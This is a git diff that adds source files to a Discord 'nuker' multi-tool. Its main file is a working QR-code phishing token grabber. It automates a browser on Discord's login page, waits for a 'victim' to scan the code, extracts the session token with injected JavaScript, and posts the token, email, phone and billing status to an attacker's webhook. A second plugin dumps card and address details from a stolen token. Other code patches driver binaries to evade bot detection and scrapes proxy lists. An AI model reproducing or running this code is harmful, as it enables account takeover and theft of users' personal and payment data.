+ type_ = getDriver() + + if type_ == "chromedriver.exe": + opts = webdriver.ChromeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Chrome(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint("Enter anything to continue. . . ") + input() + spammer() + elif type_ == "operadriver.exe": + opts = webdriver.opera.options.ChromeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Opera(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint("Enter anything to continue. . . ") + input() + spammer() + elif type_ == "msedgedriver.exe": + opts = webdriver.EdgeOptions() + opts.add_experimental_option('excludeSwitches', ['enable-logging']) + opts.add_experimental_option("detach", True) + try: + driver = webdriver.Edge(options=opts) + except common.exceptions.SessionNotCreatedException as e: + print(e.msg) + sleep(2) + SlowPrint(f"Enter anything to continue. . .") + input() + spammer() + else: + print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Coudln\'t find a driver to create a QR code with') + sleep(3) + print("Enter anything to continue. . . ", end="") + input() + spammer() + + driver.get('https://discord.com/login') + sleep(3) + + page_source = driver.page_source + soup = BeautifulSoup(page_source, features='html.parser') + + div = soup.find('div', {'class': 'qrCode-2R7t9S'}) + qr_code = div.find('img')['src'] + file = os.path.join(os.getcwd(), 'QR-Code/temp_qr_code.png') + + img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) + + SlowPrint(f"\n{Fore.WHITE}Downloading QR Templates!") + + urlretrieve( + "https://github.com/TT-Tutorials/addons/raw/main/GANG-Nuker%20Addons/QR-Code.zip", + filename="QR-Code.zip", + ) + with ZipFile("QR-Code.zip", 'r')as zip2: + zip2.extractall() + os.remove("QR-Code.zip") + + with open(file,'wb') as handler: + handler.write(img_data) + + discord_login = driver.current_url + logo_qr() + paste_template() + + os.remove(os.getcwd()+"\\QR-Code\\overlay.png") + os.remove(os.getcwd()+"\\QR-Code\\template.png") + os.remove(os.getcwd()+"\\QR-Code\\temp_qr_code.png") + + print(f'\nQR Code generated in '+os.getcwd()+"\\QR-Code") + print(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Don\'t Close This Window! This will ensure that you get there info through the webhook!') + print(f'[\x1b[95m>\x1b[95m\x1B[37m] Wait for victim to scan the QR Code...') + os.system(f'start {os.path.realpath(os.getcwd()+"/QR-Code")}') + if sys.argv[0].endswith(".exe"): + print(f'\n[\x1b[95m>\x1b[95m\x1B[37m] Opening Another GANG-Nuker File') + try: + os.startfile(sys.argv[0]) + except Exception: + pass + + while True: + if discord_login != driver.current_url: + token = driver.execute_script(''' + token = (webpackChunkdiscord_app.push([ + [''], + {}, + e=>{m=[];for( + let c in e.c) + m.push(e.c[c])} + ]),m) + .find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken() + return token; + ''') + j = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token)).json() + badges = "" + flags = j['flags'] + if (flags == 1): badges += "Staff, " + if (flags == 2): badges += "Partner, " + if (flags == 4): badges += "Hypesquad Event, " + if (flags == 8): badges += "Green Bughunter, " + if (flags == 64): badges += "Hypesquad Bravery, " + if (flags == 128): badges += "HypeSquad Brillance, " + if (flags == 256): badges += "HypeSquad Balance, " + if (flags == 512): badges += "Early Supporter, " + if (flags == 16384): badges += "Gold BugHunter, " + if (flags == 131072): badges += "Verified Bot Developer, " + if (badges == ""): badges = "None" + + user = j["username"] + "#" + str(j["discriminator"]) + email = j["email"] + phone = j["phone"] if j["phone"] else "No Phone Number attached" + + url = f'https://cdn.discordapp.com/avatars/{j["id"]}/{j["avatar"]}.gif' + try: + requests.get(url) + except: + url = url[:-4] + nitro_data = requests.get('https://discordapp.com/api/v6/users/@me/billing/subscriptions', headers=getheaders(token)).json() + has_nitro = False + has_nitro = bool(len(nitro_data) > 0) + billing = bool(len(json.loads(requests.get("https://discordapp.com/api/v6/users/@me/billing/payment-sources", headers=getheaders(token)).text)) > 0) + + embed = { + "avatar_url":"https://media.discordapp.net/attachments/878154522978029582/917679300705124412/a4235fd1da45633adbc305450741b506.png", + "embeds": [ + { + "author": { + "name": "GANG-Nuker | QR Token Grabber", + "url": "https://github.com/TT-Tutorials/GANG-Nuker", + "icon_url": "https://cdn.discordapp.com/attachments/982965691093254154/994193135213228092/GANGGRABBER.gif" + }, + "description": f"**{user}** Just Scanned the QR Code!\n**[Avatar]({url})**\n\n**Email:** {email}\n**Phone:** {phone}\n**Billing:** {billing}\n**Nitro:** {has_nitro}\n**Badges:** {badges}", + "fields": [ + { + "name": "**Token**", + "value": f"```fix\n{token}```", + "inline": False + } + ], + "color": 12208895, + + "footer": { + "text": "https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker" + } + } + ] + } + requests.post(Webhook, json=embed) + break diff --git a/utilities/Plugins/Server_Lookup.py b/utilities/Plugins/Server_Lookup.py new file mode 100644 index 0000000..f2b6bbb --- /dev/null +++ b/utilities/Plugins/Server_Lookup.py @@ -0,0 +1,71 @@ +# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + +import os +import sys +import os.path +import colorama +import requests +import webbrowser +from time import sleep +from colored import fg, attr +from requests.api import options +from colorama import Fore, Back, Style, init + +from utilities.Settings.common import * + +colorama.init(autoreset=True) + +def menu(): + print(f""" +[\x1b[95m1\x1b[95m\x1B[37m] Server Lookup +[\x1b[95m2\x1b[95m\x1B[37m] Exit +""") +menu() + +option = int(input(f"[\x1b[95m>\x1b[95m\x1B[37m] Choice?: ")) + +def fetch_data(): + menu() +if option == 1: + sleep(1) + + headers = { + 'User-Agent' : 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7', + 'Authorization' : input(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Token: ") + } + + guildId = input(f"[\x1b[95m>\x1b[95m\x1B[37m] Server ID: ") + + response = requests.get( + f"https://discord.com/api/guilds/{guildId}", + headers = headers, + params = {"with_counts" : True} + ).json() + + owner = requests.get( + f"https://discord.com/api/guilds/{guildId}/members/{response['owner_id']}", + headers = headers, + params = {"with_counts" : True} + ).json() + + print(f""" +{Fore.RESET}{Fore.GREEN}####### Server Infomation #######{Fore.RESET} + +[{Fore.LIGHTMAGENTA_EX}Name{Fore.RESET}] $: {response['name']} +[{Fore.LIGHTMAGENTA_EX}ID{Fore.RESET}] $: {response['id']} +[{Fore.LIGHTMAGENTA_EX}Owner{Fore.RESET}] $: {owner['user']['username']}#{owner['user']['discriminator']} +[{Fore.LIGHTMAGENTA_EX}Owner ID{Fore.RESET}] $: {response['owner_id']} +[{Fore.LIGHTMAGENTA_EX}Members{Fore.RESET}] $: {response['approximate_member_count']} +[{Fore.LIGHTMAGENTA_EX}Region{Fore.RESET}] $: {response['region']} +[{Fore.LIGHTMAGENTA_EX}Icon URL{Fore.RESET}] $: https://cdn.discordapp.com/icons/{guildId}/{response['icon']}.webp?size=256 +""") + sleep(6) + spammer() + +elif option == 2: + spammer() +if __name__ == '__main__': + fetch_data() diff --git a/utilities/Plugins/Token_Info.py b/utilities/Plugins/Token_Info.py new file mode 100644 index 0000000..c4114fd --- /dev/null +++ b/utilities/Plugins/Token_Info.py @@ -0,0 +1,161 @@ +# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + + +import requests +from colorama import Fore +from datetime import datetime + +from utilities.Settings.common import getheaders + +def Info(token): + r = requests.get('https://discord.com/api/v9/users/@me', headers=getheaders(token)) + cc_digits = { + 'american express': '3', + 'visa': '4', + 'mastercard': '5' +} + badges = "" + + Discord_Employee = 1 + Partnered_Server_Owner = 2 + HypeSquad_Events = 4 + Bug_Hunter_Level_1 = 8 + House_Bravery = 64 + House_Brilliance = 128 + House_Balance = 256 + Early_Supporter = 512 + Bug_Hunter_Level_2 = 16384 + Early_Verified_Bot_Developer = 131072 + + flags = r.json()['flags'] + if (flags == Discord_Employee): + badges += "Staff, " + if (flags == Partnered_Server_Owner): + badges += "Partner, " + if (flags == HypeSquad_Events): + badges += "Hypesquad Event, " + if (flags == Bug_Hunter_Level_1): + badges += "Green Bughunter, " + if (flags == House_Bravery): + badges += "Hypesquad Bravery, " + if (flags == House_Brilliance): + badges += "HypeSquad Brillance, " + if (flags == House_Balance): + badges += "HypeSquad Balance, " + if (flags == Early_Supporter): + badges += "Early Supporter, " + if (flags == Bug_Hunter_Level_2): + badges += "Gold BugHunter, " + if (flags == Early_Verified_Bot_Developer): + badges += "Verified Bot Developer, " + if (badges == ""): + badges = "None" + + userName = r.json()['username'] + '#' + r.json()['discriminator'] + userID = r.json()['id'] + phone = r.json()['phone'] + email = r.json()['email'] + language = r.json()['locale'] + mfa = r.json()['mfa_enabled'] + avatar_id = r.json()['avatar'] + has_nitro = False + res = requests.get('https://discordapp.com/api/v9/users/@me/billing/subscriptions', headers=getheaders(token)) + nitro_data = res.json() + has_nitro = bool(len(nitro_data) > 0) + avatar_url = f'https://cdn.discordapp.com/avatars/{userID}/{avatar_id}.webp' + creation_date = datetime.utcfromtimestamp(((int(userID) >> 22) + 1420070400000) / 1000).strftime('%d-%m-%Y %H:%M:%S UTC') + + if has_nitro: + d1 = datetime.strptime(nitro_data[0]["current_period_end"].split('.')[0], "%Y-%m-%dT%H:%M:%S") + d2 = datetime.strptime(nitro_data[0]["current_period_start"].split('.')[0], "%Y-%m-%dT%H:%M:%S") + days_left = abs((d2 - d1).days) + + billing_info = [] + for x in requests.get('https://discordapp.com/api/v9/users/@me/billing/payment-sources', headers=getheaders(token)).json(): + y = x['billing_address'] + name = y['name'] + address_1 = y['line_1'] + address_2 = y['line_2'] + city = y['city'] + postal_code = y['postal_code'] + state = y['state'] + country = y['country'] + if x['type'] == 1: + cc_brand = x['brand'] + cc_first = cc_digits.get(cc_brand) + cc_last = x['last_4'] + cc_month = str(x['expires_month']) + cc_year = str(x['expires_year']) + data = { + 'Payment Type': 'Credit Card', + 'Valid': not x['invalid'], + 'CC Holder Name': name, + 'CC Brand': cc_brand.title(), + 'CC Number': ''.join(z if (i + 1) % 2 else z + ' ' for i, z in enumerate((cc_first if cc_first else '*') + ('*' * 11) + cc_last)), + 'CC Exp. Date': ('0' + cc_month if len(cc_month) < 2 else cc_month) + '/' + cc_year[2:4], + 'Address 1': address_1, + 'Address 2': address_2 if address_2 else '', + 'City': city, + 'Postal Code': postal_code, + 'State': state if state else '', + 'Country': country, + 'Default Payment': x['default'] + } + elif x['type'] == 2: + data = { + 'Payment Type': 'PayPal', + 'Valid': not x['invalid'], + 'PayPal Name': name, + 'PayPal Email': x['email'], + 'Address 1': address_1, + 'Address 2': address_2 if address_2 else '', + 'City': city, + 'Postal Code': postal_code, + 'State': state if state else '', + 'Country': country, + 'Default Payment': x['default'] + } + billing_info.append(data) + + print(f''' +{Fore.RESET}{Fore.GREEN}####### Account Info #######{Fore.RESET} +[{Fore.LIGHTMAGENTA_EX}Username{Fore.RESET}] {userName} | {userID} +[{Fore.LIGHTMAGENTA_EX}Badges{Fore.RESET}] {badges} +[{Fore.LIGHTMAGENTA_EX}Language{Fore.RESET}] {language} +[{Fore.LIGHTMAGENTA_EX}Created at{Fore.RESET}] {creation_date} +[{Fore.LIGHTMAGENTA_EX}Avatar URL{Fore.RESET}] {avatar_url if avatar_id else ""} +[{Fore.LIGHTMAGENTA_EX}Account Token{Fore.RESET}] {Fore.RED}{token}{Fore.RESET} + +{Fore.RESET}{Fore.GREEN}####### Security Info #######{Fore.RESET} +[{Fore.LIGHTMAGENTA_EX}Email{Fore.RESET}] {email} +[{Fore.LIGHTMAGENTA_EX}Phone Number{Fore.RESET}] {phone if phone else ""} +[{Fore.LIGHTMAGENTA_EX}2 Factor{Fore.RESET}] {mfa} + +{Fore.RESET}{Fore.GREEN}####### Nitro Info #######{Fore.RESET} +[{Fore.LIGHTMAGENTA_EX}Nitro Status{Fore.RESET}] {has_nitro} +[{Fore.LIGHTMAGENTA_EX}Expires in{Fore.RESET}] {days_left if has_nitro else "0"} day(s) + ''') + if len(billing_info) > 0: + print(f"{Fore.RESET}{Fore.GREEN}####### Billing Info #######{Fore.RESET}") + if len(billing_info) == 1: + for x in billing_info: + for key, val in x.items(): + if not val: + continue + print(f"[{Fore.RED}"+'{:<23}{:<10}{}'.format(key+Fore.RED+Fore.RESET+"]", Fore.RESET, val)) + else: + for i, x in enumerate(billing_info): + title = f'Payment Method #{i + 1} ({x["Payment Type"]})' + print('' + title) + print('' + ('=' * len(title))) + for j, (key, val) in enumerate(x.items()): + if not val or j == 0: + continue + print(f"[{Fore.RED}"+'{:<23}{:<10}{}'.format(key+Fore.RED+Fore.RESET+"]", Fore.RESET, val)) + if i < len(billing_info) - 1: + print(f'{Fore.RESET}') + print(f'{Fore.RESET}') + input(f'[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ') \ No newline at end of file diff --git a/utilities/Plugins/ignore/ignore.py b/utilities/Plugins/ignore/ignore.py new file mode 100644 index 0000000..1e4b1c1 --- /dev/null +++ b/utilities/Plugins/ignore/ignore.py @@ -0,0 +1 @@ +print("ignore") \ No newline at end of file diff --git a/utilities/Settings/common.py b/utilities/Settings/common.py new file mode 100644 index 0000000..a393178 --- /dev/null +++ b/utilities/Settings/common.py @@ -0,0 +1,538 @@ +# Coded / Dev / Owner: ††#1792 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker +# GANG Discord Nuker / Multi Tool© +# Copyright © 2022 +######################################## + +import os +import re +import io +import sys +import time +import json +import shutil +import ctypes +import random +import zipfile +import requests +import threading +import subprocess +import pylibcheck +from pystyle import * +from time import sleep +from colorama import Fore +from bs4 import BeautifulSoup +from distutils.version import LooseVersion +from urllib.request import urlopen, urlretrieve +from multiprocessing.spawn import spawn_main +from pystyle import Add, Center, Anime, Colors, Colorate, Write, System +import requests, os, sys, re, time, random, os.path, string, subprocess, random, threading, ctypes, shutil + +######################################### + +THIS_VERSION = "2.5.1" + +w = Fore.WHITE +b = Fore.BLACK +g = Fore.LIGHTGREEN_EX +y = Fore.LIGHTYELLOW_EX +m = Fore.LIGHTMAGENTA_EX +c = Fore.LIGHTCYAN_EX +lr = Fore.LIGHTRED_EX +lb = Fore.LIGHTBLUE_EX +# r = Fore.RESET + +google_target_ver = 0 +edge_target_ver = 0 + +counttokens = len(open('tokens.txt').readlines()) +os.system("title PRESS ENTER") + +def GANGLIST(): + os.system('cls' if os.name=='nt' else 'clear') + global yeslist + yeslist = ["yes", "y", "yer", "yeah","yessir","ye","okay","yep","yea","ok","k","yh","sure"] + +######################################## + +class Chrome_Installer(object): + installed = False + target_version = None + DL_BASE = "https://chromedriver.storage.googleapis.com/" + + def __init__(self, executable_path=None, target_version=None, *args, **kwargs): + self.platform = sys.platform + + if google_target_ver: + self.target_version = google_target_ver + + if target_version: + self.target_version = target_version + + if not self.target_version: + self.target_version = self.get_release_version_number().version[0] + + self._base = base_ = "chromedriver{}" + + exe_name = self._base + if self.platform in ("win32",): + exe_name = base_.format(".exe") + if self.platform in ("linux",): + self.platform += "64" + exe_name = exe_name.format("") + if self.platform in ("darwin",): + self.platform = "mac64" + exe_name = exe_name.format("") + self.executable_path = executable_path or exe_name + self._exe_name = exe_name + + if not os.path.exists(self.executable_path): + self.fetch_chromedriver() + if not self.__class__.installed: + if self.patch_binary(): + self.__class__.installed = True + + @staticmethod + def random_cdc(): + cdc = random.choices('abcdefghijklmnopqrstuvwxyz', k=26) + cdc[-6:-4] = map(str.upper, cdc[-6:-4]) + cdc[2] = cdc[0] + cdc[3] = "_" + return "".join(cdc).encode() + + def patch_binary(self): + linect = 0 + replacement = self.random_cdc() + with io.open(self.executable_path, "r+b") as fh: + for line in iter(lambda: fh.readline(), b""): + if b"cdc_" in line: + fh.seek(-len(line), 1) + newline = re.sub(b"cdc_.{22}", replacement, line) + fh.write(newline) + linect += 1 + return linect + + def get_release_version_number(self): + path = ( + "LATEST_RELEASE" + if not self.target_version + else f"LATEST_RELEASE_{self.target_version}" + ) + return LooseVersion(urlopen(self.__class__.DL_BASE + path).read().decode()) + + def fetch_chromedriver(self): + base_ = self._base + zip_name = base_.format(".zip") + ver = self.get_release_version_number().vstring + if os.path.exists(self.executable_path): + return self.executable_path + urlretrieve( + f"{self.__class__.DL_BASE}{ver}/{base_.format(f'_{self.platform}')}.zip", + filename=zip_name, + ) + with zipfile.ZipFile(zip_name) as zf: + zf.extract(self._exe_name) + os.remove(zip_name) + if sys.platform != "win32": + os.chmod(self._exe_name, 0o755) + return self._exe_name + +class Edge_Installer(object): + installed = False + target_version = None + DL_BASE = "https://msedgedriver.azureedge.net/" + + def __init__(self, executable_path=None, target_version=None, *args, **kwargs): + self.platform = sys.platform + + if edge_target_ver: + self.target_version = edge_target_ver + + if target_version: + self.target_version = target_version + + if not self.target_version: + self.target_version = self.get_release_version_number().version[0] + + self._base = base_ = "edgedriver{}" + + exe_name = self._base + if self.platform in ("win32",): + exe_name = base_.format(".exe") + if self.platform in ("linux",): + self.platform += "64" + exe_name = exe_name.format("") + if self.platform in ("darwin",): + self.platform = "mac64" + exe_name = exe_name.format("") + self.executable_path = executable_path or exe_name + self._exe_name = exe_name + + if not os.path.exists(self.executable_path): + self.fetch_edgedriver() + if not self.__class__.installed: + if self.patch_binary(): + self.__class__.installed = True + + @staticmethod + def random_cdc(): + cdc = random.choices('abcdefghijklmnopqrstuvwxyz', k=26) + cdc[-6:-4] = map(str.upper, cdc[-6:-4]) + cdc[2] = cdc[0] + cdc[3] = "_" + return "".join(cdc).encode() + + def patch_binary(self): + linect = 0 + replacement = self.random_cdc() + with io.open("ms"+self.executable_path, "r+b") as fh: + for line in iter(lambda: fh.readline(), b""): + if b"cdc_" in line: + fh.seek(-len(line), 1) + newline = re.sub(b"cdc_.{22}", replacement, line) + fh.write(newline) + linect += 1 + return linect + + + def get_release_version_number(self): + path = ( + "LATEST_STABLE" + if not self.target_version + else f"LATEST_RELEASE_{str(self.target_version).split('.', 1)[0]}" + ) + urlretrieve( + f"{self.__class__.DL_BASE}{path}", + filename=f"{getTempDir()}\\{path}", + ) + with open(f"{getTempDir()}\\{path}", "r+") as f: + _file = f.read().strip("\n") + content = "" + for char in [x for x in _file]: + for num in ("0","1","2","3","4","5","6","7","8","9","."): + if char == num: + content += char + return LooseVersion(content) + + def fetch_edgedriver(self): + base_ = self._base + zip_name = base_.format(".zip") + ver = self.get_release_version_number().vstring + if os.path.exists(self.executable_path): + return self.executable_path + urlretrieve( + f"{self.__class__.DL_BASE}{ver}/{base_.format(f'_{self.platform}')}.zip", + filename=zip_name, + ) + with zipfile.ZipFile(zip_name) as zf: + zf.extract("ms"+self._exe_name) + os.remove(zip_name) + if sys.platform != "win32": + os.chmod(self._exe_name, 0o755) + return self._exe_name + +class Opera_Installer(object): + DL_BASE = "https://github.com" + def __init__(self, *args, **kwargs): + self.platform = sys.platform + self.links = "" + + r = requests.get(self.__class__.DL_BASE+"/operasoftware/operachromiumdriver/releases") + soup = BeautifulSoup(r.text, 'html.parser') + for link in soup.find_all('a'): + if "operadriver" in link.get('href'): + self.links += f"{link.get('href')}\n" + + for i in self.links.split("\n")[:4]: + if self.platform in i: + self.fetch_edgedriver(i) + + def fetch_edgedriver(self, driver): + executable = "operadriver.exe" + driver_name = driver.split("/")[-1] + cwd = os.getcwd() + os.sep + + urlretrieve(self.__class__.DL_BASE+driver, filename=driver_name) + with zipfile.ZipFile(driver_name) as zf: + zf.extractall() + shutil.move(cwd+driver_name[:-4]+os.sep+executable, cwd+executable) + os.remove(driver_name) + shutil.rmtree(driver_name[:-4]) + +def getDriver(): + drivers = ["chromedriver.exe", "msedgedriver.exe", "operadriver.exe"] + Write.Print("\nChecking Downloaded Drivers!", Colors.purple_to_blue, interval=0.015) + sleep(0.5) + for driver in drivers: + if os.path.exists(os.getcwd() + os.sep + driver): + Write.Print("\nChromeDriver is Already Installed...", Colors.purple_to_blue, interval=0.015) + sleep(0.5) + return driver + else: + Write.Print("\nInstalling Drivers!\n\n", Colors.purple_to_blue, interval=0.015) + if os.path.exists(os.getenv('localappdata') + '\\Google'): + Chrome_Installer() + Write.Print("\nChromeDriver.exe Has Been Installed Successfully!", Colors.purple_to_blue, interval=0.015) + return "chromedriver.exe" + elif os.path.exists(os.getenv('appdata') + '\\Opera Software\\Opera Stable'): + Opera_Installer() + Write.Print("\nOperaDriver.exe Has Been Installed Successfully!\n\n", Colors.purple_to_blue, interval=0.015) + return "operadriver.exe" + elif os.path.exists(os.getenv('localappdata') + '\\Microsoft\\Edge'): + Edge_Installer() + Write.Print("\nMsedgeDriver.exe Has Been Installed Successfully!\n\n", Colors.purple_to_blue, interval=0.015) + return "msedgedriver.exe" + else: + Write.Print("\nERROR | No Compatible Driver Found... Proceeding with ChromeDriver!\n\n", Colors.purple_to_blue, interval=0.015) + Chrome_Installer() + Write.Print("\nTrying ChromeDriver.exe\n\n", Colors.purple_to_blue, interval=0.015) + return "chromedriver.exe" + +####################### Driver Downloads / AutoLogin ######################### +################################################################################ + +def filegrabbertitle(): + print(f"") + +def clear(): + system = os.name + if system == 'nt': + os.system('cls') + elif system == 'posix': + os.system('clear') + else: + print('\n'*120) + return + +def transition(): + clear() + Spinner() + clear() + +def Spinner(): + l = ['|', '/', '-', '\\'] + for i in l+l+l: + sys.stdout.write(f"""\r{y}[{b}#{y}]{w} Loading... {i}""") + sys.stdout.flush() + time.sleep(0.2) + +def SlowPrint(_str): + for letter in _str: + sys.stdout.write(letter);sys.stdout.flush();sleep(0.04) + +def getTempDir(): + system = os.name + if system == 'nt': + return os.getenv('temp') + elif system == 'posix': + return '/tmp/' + +def validateToken(token): + '''validate the token by contacting the discord api''' + base_url = "https://discord.com/api/v9/users/@me" + message = "You need to verify your account in order to perform this action." + + r = requests.get(base_url, headers=getheaders(token)) + if r.status_code != 200: + print(f"\n{Fore.RED}Invalid Token.{Fore.RESET}") + sleep(1) + __import__("spammer").main() + j = requests.get(f'{base_url}/billing/subscriptions', headers=getheaders(token)).json() + try: + if j["message"] == message: + print(f"\n{Fore.RED}Phone Locked Token!{Fore.RESET}") + sleep(1) + __import__("spammer").main() + except (KeyError, TypeError, IndexError): + pass + +def validateWebhook(hook): + if not "api/webhooks" in hook: + print(f"\n{Fore.RED}Invalid Webhook!{Fore.RESET}") + sleep(1) + __import__("spammer").main() + try: + responce = requests.get(hook) + except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema, requests.exceptions.ConnectionError): + print(f"\n{Fore.RED}Invalid Webhook!{Fore.RESET}") + sleep(1) + __import__("spammer").main() + try: + j = responce.json()["name"] + except (KeyError, json.decoder.JSONDecodeError): + print(f"\n{Fore.RED}Invalid Webhook.{Fore.RESET}") + sleep(1) + __import__("spammer").main() + print(f"{Fore.GREEN}Valid webhook! ({j})") + +def installPackage(dependencies): + print(f'{Fore.CYAN}Checking Packages...{Fore.RESET}') + if sys.argv[0].endswith('.exe'): + reqs = subprocess.check_output(['python', '-m', 'pip', 'freeze']) + installed_packages = [r.decode().split('==')[0].lower() for r in reqs.split()] + + for lib in dependencies: + if lib not in installed_packages: + print(f"{w}{lib}{Fore.RED} NOT FOUND! Installing it for you...{Fore.RESET}") + try: + subprocess.check_call(['python', '-m', 'pip', 'install', lib]) + except Exception as e: + print(f"{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : {e}") + sleep(0.5) + pass + else: + for i in dependencies: + if not pylibcheck.checkPackage(i): + print(f"{w}{i}{Fore.RED} NOT FOUND! Installing it for you...{Fore.RESET}") + pylibcheck.installPackage(i) + +def loadbar(iteration, total, prefix='', suffix='', decimals=1, length=100, fill='#'): + percent = ('{0:.' + str(decimals) + 'f}').format(100 * (iteration/float(total))) + filledLength = int(length * iteration // total) + bar = fill * filledLength + '-' * (length - filledLength) + Write.Print(f"\r {prefix} |{bar}| {percent}% {suffix}", Colors.purple_to_blue, interval=0.000) + if iteration == total: + print() + +items = list(range(0, 37)) +l = len(items) + +def proxy_scrape(): + proxieslog = [] + setTitle(f"Collecting Proxies | ") + startTime = time.time() + temp = getTempDir()+"\\gang_proxies" + Write.Print("\n\n\n\n\n\n\n\n\n\n Collecting Proxies | Please Wait... \n", Colors.purple_to_blue, interval=0.010) + loadbar(0, l, prefix='', suffix='', length=l) + for i, item in enumerate(items): + sleep(0.1) + loadbar(i + 1, l, prefix='', suffix='', length=l) + + def fetchProxies(url, custom_regex): + global proxylist + try: + proxylist = requests.get(url, timeout=5).text + except Exception: + pass + finally: + proxylist = proxylist.replace('null', '') + custom_regex = custom_regex.replace('%ip%', '([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3})') + custom_regex = custom_regex.replace('%port%', '([0-9]{1,5})') + for proxy in re.findall(re.compile(custom_regex), proxylist): + proxieslog.append(f"{proxy[0]}:{proxy[1]}") + + proxysources = [ + ["http://spys.me/proxy.txt","%ip%:%port% "], + ["http://www.httptunnel.ge/ProxyListForFree.aspx"," target=\"_new\">%ip%:%port%"], + ["https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.json", "\"ip\":\"%ip%\",\"port\":\"%port%\","], + ["https://raw.githubusercontent.com/fate0/proxylist/master/proxy.list", '"host": "%ip%".*?"country": "(.*?){2}",.*?"port": %port%'], + ["https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list.txt", '%ip%:%port% (.*?){2}-.-S \\+'], + ["https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt", '%ip%", "type": "http", "port": %port%'], + ["https://www.us-proxy.org/", "%ip%<\\/td>%port%<\\/td>(.*?){2}<\\/td>.*?<\\/td>.*?<\\/td>.*?<\\/td>(.*?)<\\/td>.*?<\\/td><\\/tr>"], + ["https://free-proxy-list.net/", "%ip%<\\/td>%port%<\\/td>(.*?){2}<\\/td>.*?<\\/td>.*?<\\/td>.*?<\\/td>(.*?)<\\/td>.*?<\\/td><\\/tr>"], + ["https://www.sslproxies.org/", "%ip%<\\/td>%port%<\\/td>(.*?){2}<\\/td>.*?<\\/td>.*?<\\/td>.*?<\\/td>(.*?)<\\/td>.*?<\\/td><\\/tr>"], + ["https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=6000&country=all&ssl=yes&anonymity=all", "%ip%:%port%"], + ["https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/http.txt", "%ip%:%port%"], + ["https://raw.githubusercontent.com/shiftytr/proxy-list/master/proxy.txt", "%ip%:%port%"], + ["https://proxylist.icu/proxy/", "%ip%:%port%http<"], + ["https://proxylist.icu/proxy/1", "%ip%:%port%http<"], + ["https://proxylist.icu/proxy/2", "%ip%:%port%http<"], + ["https://proxylist.icu/proxy/3", "%ip%:%port%http<"], + ["https://proxylist.icu/proxy/4", "%ip%:%port%http<"], + ["https://proxylist.icu/proxy/5", "%ip%:%port%http<"], + ["https://www.hide-my-ip.com/proxylist.shtml", '"i":"%ip%","p":"%port%",'], + ["https://raw.githubusercontent.com/scidam/proxy-list/master/proxy.json", '"ip": "%ip%",\n.*?"port": "%port%",'] + ] + threads = [] + for url in proxysources: + t = threading.Thread(target=fetchProxies, args=(url[0], url[1])) + threads.append(t) + t.start() + for t in threads: + t.join() + + proxies = list(set(proxieslog)) + with open(temp, "w") as f: + for proxy in proxies: + for i in range(random.randint(7, 10)): + f.write(f"{proxy}\n") + execution_time = (time.time() - startTime) + Write.Print(f" Successfully Scraped:{len(proxies): >5}", Colors.purple_to_blue, interval=0.000) + +def setTitle(_str): + system = os.name + if system == 'nt': + ctypes.windll.kernel32.SetConsoleTitleW(f"{_str}GANG-Nuker FREE | Made by ††#1792 | Tokens: [{counttokens}]") + elif system == 'posix': + sys.stdout.write(f"{_str}GANG-Nuker FREE | Made by ††#1792 | Tokens: [{counttokens}]") + else: + pass + +def proxy(): + temp = getTempDir()+"\\gang_proxies" + if os.stat(temp).st_size == 0: + proxy_scrape() + proxies = open(temp).read().split('\n') + proxy = proxies[0] + + with open(temp, 'r+') as fp: + lines = fp.readlines() + fp.seek(0) + fp.truncate() + fp.writelines(lines[1:]) + return ({'http://': f'http://{proxy}', 'https://': f'https://{proxy}'}) + +heads = [ + { + "Content-Type": "application/json", + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:76.0) Gecko/20100101 Firefox/76.0' + }, + + { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0" + }, + + { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (X11; Debian; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0" + }, + + { + "Content-Type": "application/json", + 'User-Agent': 'Mozilla/5.0 (Windows NT 3.1; rv:76.0) Gecko/20100101 Firefox/69.0' + }, + + { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (X11; Debian; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/76.0" + }, + + { + "Content-Type": "application/json", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11" + } +] + +def getheaders(token=None): + headers = random.choice(heads) + if token: + headers.update({"Authorization": token}) + return headers + +gang = r''' + + /$$$$$$ /$$$$$$ /$$ /$$ /$$$$$$ + /$$__ $$ /$$__ $$| $$$ | $$ /$$__ $$ +| $$ \__/| $$ 